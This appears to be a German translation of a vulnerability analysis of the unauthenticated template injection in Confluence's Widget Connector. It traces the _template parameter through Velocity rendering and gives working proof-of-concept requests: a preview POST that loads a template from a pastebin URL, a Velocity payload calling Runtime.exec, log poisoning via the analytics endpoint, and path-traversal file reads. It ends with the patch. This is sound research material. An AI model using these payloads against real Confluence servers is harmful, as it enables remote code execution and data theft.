
Unautorisierte Template-Injection in Confluence
confluence.home in der Datei ./confluence/WEB-INF/classes/confluence-init.properties auf die Adresse des Confluence-Home ändernCATALINA_OPTS hinzufügen, damit das Programm im Remote-Debug-Modus laufen kannUnter Windows, Datei ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
unter Linux, Datei ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug mit den Werten host und port als localhost:5005 und Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
Wir müssen die Jar-Dateien ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar zur lib hinzufügen, damit wir beim Debuggen den benötigten Quellcode sehen können.
Wir führen die Datei ./bin/start-confluence.bat aus, und ihr könnt euch zusätzlich diese Anleitung ansehen, um aus dem Quellcode zu installieren.
Nach dem Lesen der Beschreibung wissen wir, dass dieser Bug von der Funktion Widget Connector ausgeht. Deshalb habe ich sofort gegoogelt, um herauszufinden, was diese Funktion ist und wie man sie verwendet:
Eine Seite bearbeiten

Andere Makros auswählen
Widget-Connector auswählen

Ich wähle willkürlich ein paar Parameter aus und klicke auf Vorschau, danach wechsle ich zu Burp, um zu sehen, ob es etwas Interessantes gibt.

In diesem Paket sehe ich einen Parameter "pluginKey":"com.atlassian.confluence.extra.widgetconnector". Daher vermute ich, dass die Funktion Widget Connector in der Klasse com.atlassian.confluence.extra.widgetconnector definiert ist. Also habe ich im Pfad gesucht, ob es eine verdächtige Jar-Datei gibt.

Ich versuche, die Datei ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar zur lib des Projekts hinzuzufügen, um den Quellcode lesen und debuggen zu können.
So fügt man eine Jar-Datei zur lib hinzu
Beim Öffnen des Pakets widgetconnector hat es mir die Klasse WidgetMacro angetan. Deshalb setze ich einen Breakpoint im Konstruktor und in der execute-Funktion dieser Klasse, um zu sehen, ob diese Klasse aufgerufen wird, wenn ich die Vorschaufunktion verwende 🕵️
Die Funktion execute wurde aufgerufen, danach ruft das Programm DefaultRenderManager.getEmbeddedHtml auf

Wir sehen, dass wir, um in die if-Anweisung zu gelangen, die Bedingung widgetRenderer.matches(url) erfüllen müssen. Wir prüfen die Funktion widgetRenderer.matches(url) in der Klasse YoutubeRenderer


Der Parameter url muss also ein YouTube-Videolink sein (oder Vimeo, Twitter, ...). Ich setze url auf die URL eines beliebigen YouTube-Videos, und das Programm springt in die if-Anweisung und ruft danach die Funktion widgetRenderer.getEmbeddedHtml(url, params) auf (Klasse YoutubeRenderer)

Das Programm springt zur Funktion setDefaultParam; hier sehen wir einen versteckten Parameter _template, der verdächtig wirkt :)

Nachdem die Funktion setDefaultParam verlassen wurde, ruft das Programm die Funktion DefaultVelocityRenderService.render auf

Weiter geht es durch die Funktion getRenderedTemplate und VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


Weiter zu VelocityUtils.getRenderedTemplate(String templateName, Context context) und getRenderedTemplateWithoutSwallowingErrors(templateName, context)

Die Funktion renderTemplateWithoutSwallowingErrors

Das Programm ruft die Funktion getTemplate auf, dann VelocityEngine.getTemplate und RuntimeInstance.getTemplate. Hier sehen wir, dass das Programm die Funktion getResource mit dem Wert des Parameters _template als Eingabe aufruft. In Java kann die Funktion getResource verwendet werden, um eine Ressource als lokale Datei oder als Datei im Internet (über das HTTP-Protokoll) zu laden.
Halten wir kurz inne und denken nach: Erlaubt dies einem Angreifer, eine beliebige Vorlage (von einem lokalen Server oder vom Host des Angreifers) in das Programm einzuschleusen, indem er einfach den Parameter _template in die Anfrage einfügt??

Wir verfolgen den Ablauf weiter rückwärts, um zu sehen, wie das Programm die Vorlage verarbeitet, nachdem sie geladen wurde:
Nachdem die Vorlage vorhanden ist, ruft das Programm die Funktion VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); auf

Danach kommt template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render aufruft. Diese Funktion verwendet die Velocity-Vorlage zum Parsen der Vorlage. An diesem Punkt können wir sehen, dass wir bereits einen RCE-PoC schreiben können:POST-Request beim Anfordern der Vorschaufunktion
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
Payload-Datei
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Damit haben wir diesen Bug erfolgreich per PoC reproduziert. Wenn das Ziel jedoch ein Server ist, der ausgehende Verbindungen blockiert, kann der Angreifer keine Ressourcen aus dem Internet abrufen, sondern nur lokale Dateien des Servers.
Ich habe den Hinweis bekommen, dass ein Benutzer auf irgendeine Weise eine Payload in die Logdatei einschleusen kann. Das ist eine ziemlich gute Idee, also habe ich mir sofort den Kopf zerbrochen, wie das gehen könnte.

POST /rest/analytics/1.0/publish/bulk, das einige Schlüssel-Wert-Paare wie oben sendet.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming beliebig geändert werden kann und trotzdem in das Log geschrieben wird
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
Im Patch wurde der Klasse WidgetMacro die Funktion doSanitizeParameters hinzugefügt, um den Parameter "_template" zu entfernen, bevor renderManager.getEmbeddedHtml(url, parameters); aufgerufen wird.
